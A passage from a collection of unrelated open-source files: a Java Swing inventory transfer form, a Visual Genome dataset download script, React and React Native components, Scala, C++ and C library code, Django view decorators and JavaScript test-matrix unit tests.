.addComponent(jPanel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(bttransfer, javax.swing.GroupLayout.Alignment.TRAILING))))
.addContainerGap())
);
jPanel4Layout.setVerticalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel4Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(jPanel4Layout.createSequentialGroup()
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(tbpart, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(tbqty, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel2))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(dcdate, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jLabel3))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(tbrmks, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel4))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(tbserial, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel5))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(dcexpire, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel12))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 99, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(bttransfer)
.addContainerGap())
);
add(jPanel4);
}// </editor-fold>//GEN-END:initComponents
private void bttransferActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_bttransferActionPerformed
boolean proceed = true;
boolean rtn;
DateFormat dfdate = new SimpleDateFormat("yyyy-MM-dd");
Double qty = 0.00;
String op = "";
String sitefrom = "";
String siteto = "";
String whfrom = "";
String whto = "";
String locfrom = "";
String locto = "";
String expire = "";
if (dcexpire.getDate() != null) {
expire = dfdate.format(dcexpire.getDate());
}
if (ddlocfrom.getSelectedItem() != null)
locfrom = ddlocfrom.getSelectedItem().toString();
if (ddlocto.getSelectedItem() != null)
locto = ddlocto.getSelectedItem().toString();
if (ddwhfrom.getSelectedItem() != null)
whfrom = ddwhfrom.getSelectedItem().toString();
if (ddwhto.getSelectedItem() != null)
whto = ddwhto.getSelectedItem().toString();
if (ddsitefrom.getSelectedItem() != null)
sitefrom = ddsitefrom.getSelectedItem().toString();
if (ddsiteto.getSelectedItem() != null)
siteto = ddsiteto.getSelectedItem().toString();
qty = Double.valueOf(tbqty.getText());
if (qty == 0) {
proceed = false;
bsmf.MainFrame.show(getMessageTag(1036));
tbqty.requestFocus();
return;
}
if (! OVData.isValidItem(tbpart.getText())) {
proceed = false;
bsmf.MainFrame.show(getMessageTag(1021));
tbpart.requestFocus();
return;
}
if (qty > invData.getItemQtyByWarehouseAndLocation(tbpart.getText(), sitefrom, whfrom, locfrom) ) {
proceed = false;
bsmf.MainFrame.show(getMessageTag(1074));
tbqty.requestFocus();
return;
}
if (proceed) {
//Date effdate, String part, int qty, String type, double price, double cost, String site,
// String loc, String cust, String nbr, String order, int line, String po, String terms, String lot, String rmks,
// String ref, String acct, String cc, String jobnbr, String serial, String program, String userid
// do the transaction
OVData.TRHistIssDiscrete(dcdate.getDate(),
tbpart.getText(),
qty.intValue(),
op,
"LOC-TRNF",
0.00,
0.00,
siteto,
locto,
whto,
expire,
"",
"",
"",
0,
"",
"",
tbserial.getText(), // lot
tbrmks.getText(), //rmks
tbserial.getText(), //ref
"",
"",
"",
tbserial.getText(), // serial
"LocactionTransferMaint", // program
bsmf.MainFrame.userid
);
// do the 'to' side
rtn = OVData.UpdateInventoryDiscrete(tbpart.getText(), siteto, ddlocto.getSelectedItem().toString(), whto, tbserial.getText(), expire, qty);
// now do the 'from' side
if (! rtn) {
qty = -1 * qty;
rtn = OVData.UpdateInventoryDiscrete(tbpart.getText(), sitefrom, ddlocfrom.getSelectedItem().toString(), whfrom, tbserial.getText(), expire, qty);
}
if (! rtn)
bsmf.MainFrame.show("Transfer Complete");
else
bsmf.MainFrame.show("Problem with Transfer Occurred");
initvars(null);
} // proceed
}//GEN-LAST:event_bttransferActionPerformed
private void tbpartFocusLost(java.awt.event.FocusEvent evt) {//GEN-FIRST:event_tbpartFocusLost
if (! OVData.isValidItem(tbpart.getText())) {
bsmf.MainFrame.show("invalid item");
tbpart.requestFocus();
return;
} else {
getlocqty(tbpart.getText());
}
}//GEN-LAST:event_tbpartFocusLost
private void ddwhfromActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ddwhfromActionPerformed
if (ddwhfrom.getSelectedItem() != null) {
ddlocfrom.removeAllItems();
ArrayList<String> loc = OVData.getLocationListByWarehouse(ddwhfrom.getSelectedItem().toString());
for (String lc : loc) {
ddlocfrom.addItem(lc);
}
}
}//GEN-LAST:event_ddwhfromActionPerformed
private void ddwhtoActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_ddwhtoActionPerformed
if (ddwhto.getSelectedItem() != null) {
ddlocto.removeAllItems();
ArrayList<String> loc = OVData.getLocationListByWarehouse(ddwhto.getSelectedItem().toString());
for (String lc : loc) {
ddlocto.addItem(lc);
}
}
}//GEN-LAST:event_ddwhtoActionPerformed
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton bttransfer;
private com.toedter.calendar.JDateChooser dcdate;
private com.toedter.calendar.JDateChooser dcexpire;
private javax.swing.JComboBox ddlocfrom;
private javax.swing.JComboBox ddlocto;
private javax.swing.JComboBox ddsitefrom;
private javax.swing.JComboBox ddsiteto;
private javax.swing.JComboBox<String> ddwhfrom;
private javax.swing.JComboBox<String> ddwhto;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel10;
private javax.swing.JLabel jLabel11;
private javax.swing.JLabel jLabel12;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JPanel jPanel3;
private javax.swing.JPanel jPanel4;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable tablelocqty;
private javax.swing.JTextField tbpart;
private javax.swing.JTextField tbqty;
private javax.swing.JTextField tbrmks;
private javax.swing.JTextField tbserial;
// End of variables declaration//GEN-END:variables
}
|
ketyi/dgl | examples/mxnet/scenegraph/data/prepare_visualgenome.py | """Prepare Visual Genome datasets"""
import os
import shutil
import argparse
import zipfile
import random
import json
import tqdm
import pickle
from gluoncv.utils import download, makedirs
_TARGET_DIR = os.path.expanduser('~/.mxnet/datasets/visualgenome')
def parse_args():
parser = argparse.ArgumentParser(
description='Initialize Visual Genome dataset.',
epilog='Example: python visualgenome.py --download-dir ~/visualgenome',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--download-dir', type=str, default='~/visualgenome/',
help='dataset directory on disk')
parser.add_argument('--no-download', action='store_true', help='disable automatic download if set')
parser.add_argument('--overwrite', action='store_true', help='overwrite downloaded files if set, in case they are corrupted')
args = parser.parse_args()
return args
def download_vg(path, overwrite=False):
_DOWNLOAD_URLS = [
('https://cs.stanford.edu/people/rak248/VG_100K_2/images.zip',
'a055367f675dd5476220e9b93e4ca9957b024b94'),
('https://cs.stanford.edu/people/rak248/VG_100K_2/images2.zip',
'2add3aab77623549e92b7f15cda0308f50b64ecf'),
]
makedirs(path)
for url, checksum in _DOWNLOAD_URLS:
filename = download(url, path=path, overwrite=overwrite, sha1_hash=checksum)
# extract
if filename.endswith('zip'):
with zipfile.ZipFile(filename) as zf:
zf.extractall(path=path)
# move all images into folder `VG_100K`
vg_100k_path = os.path.join(path, 'VG_100K')
vg_100k_2_path = os.path.join(path, 'VG_100K_2')
files_2 = os.listdir(vg_100k_2_path)
for fl in files_2:
shutil.move(os.path.join(vg_100k_2_path, fl),
os.path.join(vg_100k_path, fl))
def download_json(path, overwrite=False):
url = 'https://data.dgl.ai/dataset/vg.zip'
output = 'vg.zip'
download(url, path=path)
with zipfile.ZipFile(output) as zf:
zf.extractall(path=path)
json_path = os.path.join(path, 'vg')
json_files = os.listdir(json_path)
for fl in json_files:
shutil.move(os.path.join(json_path, fl),
os.path.join(path, fl))
os.rmdir(json_path)
if __name__ == '__main__':
args = parse_args()
path = os.path.expanduser(args.download_dir)
if not os.path.isdir(path):
if args.no_download:
raise ValueError(('{} is not a valid directory, make sure it is present.'
' Or you should not disable "--no-download" to grab it'.format(path)))
else:
download_vg(path, overwrite=args.overwrite)
download_json(path, overwrite=args.overwrite)
# make symlink
makedirs(os.path.expanduser('~/.mxnet/datasets'))
if os.path.isdir(_TARGET_DIR):
os.rmdir(_TARGET_DIR)
os.symlink(path, _TARGET_DIR)
|
muhaj/magnificent-turtle | src/pages/career.js | import React from "react";
import PageWrapper from "../components/PageWrapper";
import Hero from "../sections/common/Hero";
import Content from "../sections/career/Content";
import Feature from "../sections/career/Feature";
import Roles from "../sections/career/Roles";
const Career = () => {
return (
<>
<PageWrapper footerDark>
<Hero title="Career">
Create custom landing pages with Omega that converts more visitors
than any website.
</Hero>
<Content />
<Feature />
<Roles />
</PageWrapper>
</>
);
};
export default Career;
|
exoego/airframe | airframe-rx/src/main/scala/wvlet/airframe/rx/RxVar.scala | /*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package wvlet.airframe.rx
import scala.collection.mutable.ArrayBuffer
import scala.language.higherKinds
import scala.util.Try
/**
* A reactive variable supporting update and propagation of the updated value to the chained operators
*/
class RxVar[A](private var currentValue: A) extends RxStream[A] with RxVarOps[A] {
override def toString: String = s"RxVar(${currentValue})"
override def parents: Seq[Rx[_]] = Seq.empty
private var subscribers: ArrayBuffer[RxEvent => Any] = ArrayBuffer.empty
override def toOption[X, A1 >: A](implicit ev: A1 <:< Option[X]): RxOptionVar[X] =
new RxOptionVar(this.asInstanceOf[RxVar[Option[X]]])
override def get: A = currentValue
override def foreach[U](f: A => U): Cancelable = {
val s = { (ev: RxEvent) =>
ev match {
case OnNext(v) =>
f(v.asInstanceOf[A])
case OnError(e) =>
throw e
case _ =>
}
}
foreachEvent(s)
}
override def foreachEvent[U](effect: RxEvent => U): Cancelable = {
// Register a subscriber for propagating future changes
subscribers += effect
effect(OnNext(currentValue))
Cancelable { () =>
// Unsubscribe if cancelled
subscribers -= effect
}
}
/**
* Updates the variable and trigger the recalculation of the subscribers currentValue => newValue
*/
override def update(updater: A => A, force: Boolean = false): Unit = {
val newValue = updater(currentValue)
if (force || currentValue != newValue) {
currentValue = newValue
propagateEvent(OnNext(newValue))
}
}
private def propagateEvent(e: RxEvent): Unit = {
subscribers.foreach { s =>
// The subscriber instance might be null if it is cleaned up in JS
Option(s).foreach(subscriber => Try(subscriber(e)))
}
}
override def setException(e: Throwable): Unit = {
propagateEvent(OnError(e))
}
}
object RxVar {}
trait RxVarOps[A] {
def get: A
def foreach[U](f: A => U): Cancelable
def :=(newValue: A): Unit = set(newValue)
def set(newValue: A): Unit =
update { (x: A) =>
newValue
}
def forceSet(newValue: A): Unit =
update(
{ (x: A) =>
newValue
},
force = true
)
/**
* Update the variable and force notification to subscribers
* @param updater
*/
def forceUpdate(updater: A => A): Unit = update(updater, force = true)
/**
* Updates the variable and trigger the recalculation of the subscribers currentValue => newValue
*/
def update(updater: A => A, force: Boolean = false): Unit
/**
* Propagate an error to the subscribers
*/
def setException(e: Throwable): Unit
def foreachEvent[U](effect: RxEvent => U): Cancelable
}
|
xzrunner/raytracing | include/raytracing/bxdf/BRDF.h | #pragma once
#include "raytracing/utilities/RGBColor.h"
#include "raytracing/utilities/Constants.h"
#include <memory>
namespace rt
{
class ShadeRec;
class Vector3D;
class Sampler;
class BRDF
{
public:
virtual ~BRDF() {}
virtual RGBColor f(const ShadeRec& sr, const Vector3D& wo, const Vector3D& wi) const;
virtual RGBColor rho(const ShadeRec& sr, const Vector3D& wo) const;
virtual RGBColor sample_f(const ShadeRec& sr, const Vector3D& wo, Vector3D& wi) const;
virtual RGBColor sample_f(const ShadeRec& sr, const Vector3D& wo, Vector3D& wi, float& pdf) const;
void SetSampler(const std::shared_ptr<Sampler>& sampler);
protected:
std::shared_ptr<Sampler> m_sampler = nullptr;
}; // BRDF
}
|
eugeneilyin/mdi-norm | es/RoundLaptopWindows.js | <filename>es/RoundLaptopWindows.js
import React from 'react';
import { Icon } from './Icon';
import { b, k, n, o, x, bc, bf, jt, ke } from './fragments';
export var RoundLaptopWindows =
/*#__PURE__*/
function RoundLaptopWindows(props) {
return React.createElement(Icon, props, React.createElement("path", {
d: "M20 18v-1" + ke + "L22 5" + b + "H4" + jt + "v1H1" + bf + "h22" + o + "zM5 5h14" + n + "v8" + x + "H5" + k + "V6" + bc + "z"
}));
}; |
deathlyhallows010/-Interview-Bit-Python | Math/Rearrange Array.py | # https://www.interviewbit.com/problems/rearrange-array/
# Rearrange Array
# Rearrange a given array so that Arr[i] becomes Arr[Arr[i]] with O(1) extra space.
class Solution:
# @param A : list of integers
# Modify the array A which is passed by reference.
# You do not need to return anything in this case.
def arrange(self,A):
n = len(A)
for i in range(n):
A[i] = A[i] + (A[A[i]]%n)*n
for i in range(n):
A[i] = A[i]//n
return A
|
wri/wri-terramatch-mobile-client | app/components/home/settings/index.js | <filename>app/components/home/settings/index.js
// @flow
import React, { Component } from "react";
import { StyleSheet, Text, View, Linking } from "react-native";
import Screen from "../../common/screen";
import Touchable from "../../common/touchable";
import Styles from "../../../styles/";
import Config from "react-native-config";
import { logUserData } from "../../../utils/analytics";
import translate from "../../../locales/";
type Props = {
onSignOutPressed: () => any
};
export default class SettingsScreen extends Component<Props> {
static options(passProps: {}) {
return {
topBar: {
title: {
text: translate("mobile.settings.title", "Settings")
},
rightButtons: []
}
};
}
openPrivacyPolicy() {
Linking.openURL(Config.PRIVACY_POLICY);
}
openTerms() {
Linking.openURL(Config.TERMS_OF_SERVICE);
}
openContactUsEmail() {
const emailAddress = Config.WRI_EMAIL_ADDRESS;
Linking.openURL(`mailto:${emailAddress}?subject=${translate("footer.contactSubject")}`);
}
signOutUser = () => {
logUserData({
user_type: null,
country_code: null
});
this.props.onSignOutPressed();
};
render() {
return (
<Screen style={styles.container} secondary>
<Text style={[Styles.Text.h5, Styles.Text.uppercase, styles.subheading]}>
{translate("mobile.settings.title", "Settings")}
</Text>
{this.renderSetting({
title: translate("footer.privacy"),
onPress: this.openPrivacyPolicy
})}
{this.renderSetting({ title: translate("footer.terms"), onPress: this.openTerms })}
{this.renderSetting({ title: translate("footer.contact"), onPress: this.openContactUsEmail })}
{this.renderSetting({
title: translate("common.logout"),
isBottom: true,
onPress: this.signOutUser
})}
</Screen>
);
}
renderSetting(details: { title: string, isBottom?: boolean, onPress: string => any }) {
return (
<>
<Touchable style={Styles.Containers.tableCell} onPress={details.onPress} accessibilityRole={"button"}>
<Text style={[Styles.Text.tableCellTitle, details.isBottom ? Styles.Text.emphasis : {}]}>
{details.title}
</Text>
</Touchable>
<View style={details.isBottom ? Styles.Layout.Dividers.full : Styles.Layout.Dividers.partial} />
</>
);
}
}
const styles = StyleSheet.create({
container: {
padding: 0
},
subheading: {
paddingLeft: Styles.Layout.Margins.medium,
paddingTop: Styles.Layout.Margins.medium
}
});
|
NoahChian/Devops | src/main/java/org/iii/ideas/catering_service/rest/bo/CustomerQuerySFBoFactory.java | <filename>src/main/java/org/iii/ideas/catering_service/rest/bo/CustomerQuerySFBoFactory.java<gh_stars>0
package org.iii.ideas.catering_service.rest.bo;
public class CustomerQuerySFBoFactory {
private Long fac_id;
private String fac_name;
private String fac_add;
private String fac_tel;
public Long getFac_id() {
return fac_id;
}
public void setFac_id(Long fac_id) {
this.fac_id = fac_id;
}
public String getFac_name() {
return fac_name;
}
public void setFac_name(String fac_name) {
this.fac_name = fac_name;
}
public String getFac_add() {
return fac_add;
}
public void setFac_add(String fac_add) {
this.fac_add = fac_add;
}
public String getFac_tel() {
return fac_tel;
}
public void setFac_tel(String fac_tel) {
this.fac_tel = fac_tel;
}
}
|
MatthewWilkes/mw4068-packaging | src/melange/src/soc/views/helper/decorators.py | <reponame>MatthewWilkes/mw4068-packaging
#!/usr/bin/env python2.5
#
# Copyright 2008 the Melange authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Views decorators.
"""
__authors__ = [
'"<NAME>" <<EMAIL>>',
'"<NAME>" <<EMAIL>>',
'"<NAME>" <<EMAIL>>',
]
from functools import wraps
from django import http
from django.utils.translation import ugettext
from soc.logic import dicts
from soc.views.helper import responses
class Error(Exception):
"""Base class for all exceptions raised by this module.
"""
pass
def view(func):
"""Decorator that insists that exceptions are handled by view.
"""
@wraps(func)
def view_wrapper(request, *args, **kwds):
"""View decorator wrapper method.
"""
return func(request, *args, **kwds)
return view_wrapper
def merge_params(func):
"""Decorator that merges 'params' with self._params.
"""
@wraps(func)
def wrapper(self, *args, **kwargs):
"""Decorator wrapper method.
"""
params = kwargs.get('params', {})
kwargs['params'] = dicts.merge(params, self._params)
return func(self, *args, **kwargs)
return wrapper
def check_access(func):
"""This decorator does access checks for the specified view method.
The rights dictionary is extracted from 'params', or, if either 'params' or
'rights' do not exist, from self._params['rights'].
"""
# Do not pollute helper.decorators with access specific imports
from soc.views import out_of_band
from soc.views import helper
from soc.views.helper import responses
@wraps(func)
def wrapper(self, request, access_type, *args, **kwargs):
"""Decorator wrapper method.
"""
params = kwargs.get('params', {})
# Try to extract rights
if 'rights' in params:
rights = params['rights']
else:
rights = self._params['rights']
check_kwargs = kwargs.copy()
context = responses.getUniversalContext(request)
responses.useJavaScript(context, self._params['js_uses_all'])
id = context['account']
user = context['user']
check_kwargs['GET'] = request.GET
check_kwargs['POST'] = request.POST
check_kwargs['context'] = context
# reset and pre-fill the Checker's cache
rights.setCurrentUser(id, user)
# Do the access check dance
try:
rights.checkAccess(access_type, check_kwargs)
except out_of_band.Error, error:
return helper.responses.errorResponse(error, request)
return func(self, request, access_type, *args, **kwargs)
return wrapper
def mutation(func):
"""This decorator indicates that the view is a mutation operation and is
therefore restricted to POST requests.
XSRF checking is performed automatically by the xsrf middleware.
"""
@wraps(func)
def wrapper(self, request, *args, **kwargs):
if request.method != "POST":
return http.HttpResponse("Invoked a mutation view w/o POST.", status=403)
return func(self, request, *args, **kwargs)
return wrapper
|
stemkit-collection/stemkit-cpp | include/sk/rt/thread/Condition.h | /* vim: sw=2:
* Copyright (c) 2011, <NAME> <<EMAIL>>
*
* Distributed under the MIT Licence.
* This is free software. See 'LICENSE' for details.
* You must read and accept the license prior to use.
*
* Author: <NAME> (<EMAIL>)
*/
#ifndef _SK_RT_THREAD_CONDITION_H_
#define _SK_RT_THREAD_CONDITION_H_
#include <sk/util/Object.h>
namespace sk {
namespace rt {
namespace thread {
class Condition
: public virtual sk::util::Object
{
public:
virtual sk::rt::thread::Condition& on(int channel) = 0;
virtual void wait(uint64_t milliseconds = 0) = 0;
virtual void announce() = 0;
};
}
}
}
#endif /* _SK_RT_THREAD_CONDITION_H_ */
|
adventure-db/adventure | src/db/store/edges.c | #include "edges.h"
edge_p edges_add(struct store *edges, edge_p e_old, node_p start, node_p end)
{
edge_p e_new, size;
if(e_old == 0) {
size = 8;
e_new = store_alloc(edges, size + 8);
} else {
size = store_read_ui64(edges, e_old);
e_new = store_alloc(edges, size + 8);
store_copy(edges, e_new, e_old, size);
}
store_write_ui64(edges, e_new + size, end);
store_write_ui64(edges, e_new, size + 8);
store_free(edges, e_old);
return e_new;
}
edge_p edges_remove(struct store *edges, edge_p e_old, node_p start, node_p end)
{
if(e_old == 0) return 0;
edge_p hdr_sz = 8;
edge_p item_sz = 8;
edge_p size = store_read_ui64(edges, e_old);
edge_p i;
for(i = hdr_sz; i < size; i += item_sz) {
if( store_read_ui64(edges, e_old + i) == end ) break;
}
if(i >= size) return e_old;
int64_t size_new = size - item_sz;
if(size_new < 0) return e_old;
edge_p e_new = store_alloc(edges, size_new);
store_copy(edges, e_new, e_old, i);
store_copy(edges, e_new + i, e_old + i + item_sz, size - i - item_sz);
store_write_ui64(edges, e_new, size - item_sz);
store_free(edges, e_old);
return e_new;
}
|
Lc3586/Microservice | src/Applications/SimpleApi/Api/wwwroot/plug-in/naiveupload/Model/AppendFileResultStatus.js | <reponame>Lc3586/Microservice<filename>src/Applications/SimpleApi/Api/wwwroot/plug-in/naiveupload/Model/AppendFileResultStatus.js
//# sourceMappingURL=AppendFileResultStatus.js.map |
BeauJoh/HeCBench | asta-omp/support/verify.h | <filename>asta-omp/support/verify.h<gh_stars>10-100
/*
* Copyright (c) 2016 University of Cordoba and University of Illinois
* All rights reserved.
*
* Developed by: IMPACT Research Group
* University of Cordoba and University of Illinois
* http://impact.crhc.illinois.edu/
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* with the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* > Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimers.
* > Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimers in the
* documentation and/or other materials provided with the distribution.
* > Neither the names of IMPACT Research Group, University of Cordoba,
* University of Illinois nor the names of its contributors may be used
* to endorse or promote products derived from this Software without
* specific prior written permission.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH
* THE SOFTWARE.
*
*/
#include <cmath>
#include <stdio.h>
inline int compare_output(FP *output, FP *ref, int dim) {
int i;
int fail = 0;
for(i = 0; i < dim; i++) {
FP diff = fabs(ref[i] - output[i]);
if((diff - 0.0f) > 0.00001f && diff > 0.01 * fabs(ref[i])) {
printf("Failed at line: %d ref: %f actual: %f diff: %f\n", i, ref[i], output[i], diff);
fail = 1;
break;
}
}
return fail;
}
// Sequential transposition for comparison purposes
//[w][h/t][t] to [h/t][w][t]
inline void cpu_soa_asta(FP *src, FP *dst, int height, int width, int tile_size) {
// We only support height == multiple of tile size
if((height / tile_size) * tile_size == height)
for(int k = 0; k < width; k++) {
for(int i = 0; i < height / tile_size; i++) { //For all tiles
for(int j = 0; j < tile_size; j++) {
//from src[k][i][j] to dst[i][k][j]
dst[i * width * tile_size + k * tile_size + j] = src[k * height + i * tile_size + j];
}
}
}
}
inline int verify(FP *input2, FP *input, int height, int width, int tile_size) {
FP *output = (FP *)malloc(width * height * sizeof(FP));
cpu_soa_asta(input, output, height, width, tile_size);
int status = compare_output(input2, output, height * width);
free(output);
return status;
}
|
bitpodprashant/s3StorageArsenal | tests/unit/matrix.js | <reponame>bitpodprashant/s3StorageArsenal
'use strict';// eslint-disable-line strict
const assert = require('assert');
const Matrix = require('../../index').testing.matrix.TestMatrix;
describe('Matrix', () => {
const params = {
auth: ['v2', 'v4'],
user: 'nobody',
password: '<PASSWORD>',
delimiter: [undefined, '/', '', '|', 'abcd'],
prefix: [undefined, '/validPrefix/ThatIsNot/InTheSet',
'/validPrefix/ThatIsPresent/InTheTestSet', 'InvalidPrefix'],
};
/**
* 2 (auth) * 5 (delimiter) * 4 (prefix)
*/
describe('Should generate 40 matrix', () => {
let numberOfCall = 0;
const testMatrix = new Matrix(params);
testMatrix.generate(['auth'], testMatrix => {
testMatrix.generate(['delimiter', 'prefix'], (testMatrix, done) => {
assert.equal(testMatrix.params.auth !== undefined, true);
++numberOfCall;
done();
}, 'should generate matrix');
}).execute();
describe('Check if matrix was well generated', () => {
it('Has generated 40 matrix', done => {
const callback = () => {
if (numberOfCall === 40) {
done();
} else {
process.nextTick(callback);
}
};
callback();
});
});
});
describe('Create an exception for "v4" authentification', () => {
let numberOfCallV2 = 0;
let numberOfCallV4 = 0;
const testMatrix = new Matrix(params);
const ifParams = {
auth: ['v4'],
};
testMatrix.generate(['auth'], testMatrix => {
testMatrix.generate(['delimiter', 'prefix'], (testMatrix, done) => {
assert.equal(testMatrix.params.auth === 'v2', true);
++numberOfCallV2;
done();
}, 'should use v2 auth').testSpecialCase(ifParams, (testMatrix,
done) => {
assert.equal(testMatrix.params.auth === 'v4', true);
++numberOfCallV4;
done();
}, 'should use v4 auth');
}).execute();
describe('Check if matrix was well generated', () => {
it('Should was call 20 times per auth value', done => {
const callback = () => {
if (numberOfCallV2 === 20 && numberOfCallV4 === 20) {
done();
} else {
process.nextTick(callback);
}
};
callback();
});
});
});
describe('Create an exception for multiples values', () => {
const testMatrix = new Matrix(params);
const ifParams = {
delimiter: [undefined, 'abcd'],
};
let callUndefined = false;
let callAbcd = false;
testMatrix.generate(['auth'], testMatrix => {
testMatrix.generate(['delimiter', 'prefix'], (testMatrix, done) => {
assert(testMatrix.params.auth !== undefined, true);
done();
}, 'should generate matrix').testSpecialCase(ifParams, (testMatrix,
done) => {
const isAbcd = testMatrix.params.delimiter === 'abcd';
const isUndefined = testMatrix.params.delimiter === undefined;
assert(isAbcd || isUndefined, true);
if (testMatrix.params.delimiter === undefined) {
callUndefined = true;
} else if (testMatrix.params.delimiter === 'abcd') {
callAbcd = true;
}
done();
}, 'should call specific delimiter');
}).execute();
describe('Check if matrix was well generated', () => {
it('All exception was called', done => {
const callback = () => {
if (callAbcd === true && callUndefined === true) {
done();
} else {
process.nextTick(callback);
}
};
callback();
});
});
});
describe('Should create an exception for multiples keys', () => {
const testMatrix = new Matrix(params);
const ifParams = {
auth: ['v4'],
delimiter: [undefined, 'abcd'],
};
let callUndefined = false;
let callAbcd = false;
testMatrix.generate(['auth'], testMatrix => {
testMatrix.generate(['delimiter', 'prefix'], (testMatrix, done) => {
assert(testMatrix.params.auth !== undefined, true);
done();
}, 'should generate matrix').testSpecialCase(ifParams, (testMatrix,
done) => {
const isV4 = testMatrix.params.auth === 'v4';
const isAbcd = testMatrix.params.delimiter === 'abcd';
const isUndefined = testMatrix.params.delimiter === undefined;
assert(isV4 && (isAbcd || isUndefined), true);
if (testMatrix.params.delimiter === undefined) {
callUndefined = true;
} else if (testMatrix.params.delimiter === 'abcd') {
callAbcd = true;
}
done();
}, 'should call specific delimiter');
}).execute();
describe('Check if matrix was well generated', () => {
it('All exception was called', done => {
const callback = () => {
if (callAbcd === true && callUndefined === true) {
done();
} else {
process.nextTick(callback);
}
};
callback();
});
});
});
describe('Should call without any specialization', () => {
const params = {
auth: 'v2',
user: 'nobody',
